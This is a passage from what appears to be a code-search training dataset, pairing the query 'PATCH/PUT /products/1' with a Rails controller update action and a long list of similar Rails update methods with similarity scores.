build_key(instance)\n key_registry[key] = instance\n end", "def register(name, klass)\n registry[name.to_sym] = klass\n end", "def add(oDataObject)\n # Requires to be a valid framework object.\n unless oDataObject.is_a?(Lorj::Data)\n PrcLib.runtime_fail \"Invalid Framework object type '%s'.\",\n oDataObject.class\n end\n object_data_add(oDataObject)\n oDataObject.register\n end", "def registry; end", "def registry; end" ]
[ "0.64769304", "0.6324642", "0.61574435", "0.6124955", "0.59229004", "0.5883896", "0.5860818", "0.57481414", "0.5677774", "0.565187", "0.5580923", "0.5542774", "0.5518699", "0.5518699", "0.5518699", "0.5501037", "0.54370093", "0.541992", "0.5418617", "0.54041016", "0.5403011", "0.5367121", "0.5360793", "0.5340541", "0.5321627", "0.53210926", "0.5321054", "0.5319051", "0.53135276", "0.5304854", "0.5292882", "0.5288914", "0.5266925", "0.5252659", "0.52518004", "0.52082336", "0.52015275", "0.5186189", "0.51859564", "0.51839674", "0.515866", "0.5132775", "0.51304156", "0.51074654", "0.5106581", "0.5104477", "0.50927097", "0.5074752", "0.5068667", "0.50578785", "0.50459963", "0.50459963", "0.50376743", "0.5034468", "0.50266284", "0.50266284", "0.50194794", "0.50144243", "0.5002895", "0.5002271", "0.49973685", "0.49940887", "0.49855354", "0.49793136", "0.49764735", "0.4963607", "0.49574354", "0.4951649", "0.49288428", "0.4928649", "0.49184415", "0.4917489", "0.49166542", "0.49064705", "0.49060208", "0.49054468", "0.48969585", "0.48927197", "0.48924652", "0.48873988", "0.48834926", "0.48820454", "0.4879192", "0.48643193", "0.4846364", "0.4842306", "0.48416412", "0.48390412", "0.48327526", "0.48323628", "0.48318198", "0.48244295", "0.48143178", "0.48015872", "0.48005867", "0.47870997", "0.47869453", "0.47854438", "0.4784909", "0.47816497", "0.47816497" ]
0.0
-1
PATCH/PUT /products/1 PATCH/PUT /products/1.json
def update @rto = TrainingOrganization.find(params[:id]) p rto_params respond_to do |format| if @rto.update(rto_params) format.html { redirect_to @rto, notice: 'RTO was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @rto.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n updateProduct = Product.find_by_id(params[:id])\n updateProduct.update(products_params)\n if updateProduct != nil\n msg = { status: 200 , product: updateProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n if @product.update(product_params)\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product.assign_attributes object_params.reject{|_, v| v.blank?}\n # In a normal app we have a pre filled form of the object to update,\n # so when we do a PATCH (or PUT) we send all the attributes again,\n # in the API we permit to send any field to update, so we need to remove\n # all the blank params of the object to prevent validations triggers of\n # attributes that we don't send to update\n if @product.save\n render json: @product.to_json\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end", "def update\n respond_to do |format|\n if @product.update!(product_params)\n format.html { redirect_to products_url, notice: 'Product was successfully updated.' }\n format.json { render json: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: t(:product_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product,\n :notice=> 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update_attributes(params[:product])\n respond_to do |format|\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'ะฃัะฟะตัˆะฝะพ ะพะฑะฝะพะฒะปะตะฝะพ' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end", "def update\n @product = Product.find(params[:id])\n\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product.update(product_params)\n set_products\n end", "def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n @product.edit\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to action: 'show', notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def update\n @product = Product.eager_loading.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully updated.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @angular = Product.find(params[:id])\n \n @angular.update_attributes(title: params[:products][:title], description: params[:products][:description])\n respond_to do |format|\n if @angular.valid?\n format.html { redirect_to store_index_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @angular.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n if @product\n if @product.update(price: params[:price])\n render 'api/products/show'\n else\n render json: [\"Can only update price\"], status: 422\n end\n else\n render json: [\"Product not found\"], status: 422\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('.message') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product1.update(product1_params)\n format.html { redirect_to @product1, notice: \"Product1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Your product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_spec.update(product_spec_params)\n format.html { redirect_to @product_spec, notice: 'Product spec was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_spec }\n else\n format.html { render :edit }\n format.json { render json: @product_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7270251", "0.6936097", "0.68689305", "0.6847095", "0.6813668", "0.6768683", "0.6750446", "0.6742433", "0.67160225", "0.6701455", "0.66869843", "0.6660239", "0.665541", "0.6654317", "0.66415375", "0.66415375", "0.66390306", "0.66318524", "0.66318524", "0.66281193", "0.6621458", "0.66046584", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66046214", "0.66032976", "0.659436", "0.6593838", "0.65870094", "0.65607953", "0.6557732", "0.6557732", "0.6557732", "0.6557732", "0.6557732", "0.65570134", "0.6540899", "0.6528127", "0.649857", "0.6490427", "0.64863044", "0.64775676", "0.64766663", "0.6474649", "0.64557046", "0.6453309", "0.64425725", "0.6435747", "0.6435527", "0.6430234", "0.64248586", "0.6420731", "0.64158005", "0.64099145", "0.64082634", "0.64076424", "0.64067924", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193", "0.6404193" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_rto @rto = TrainingOrganization.find(params[:id]) end
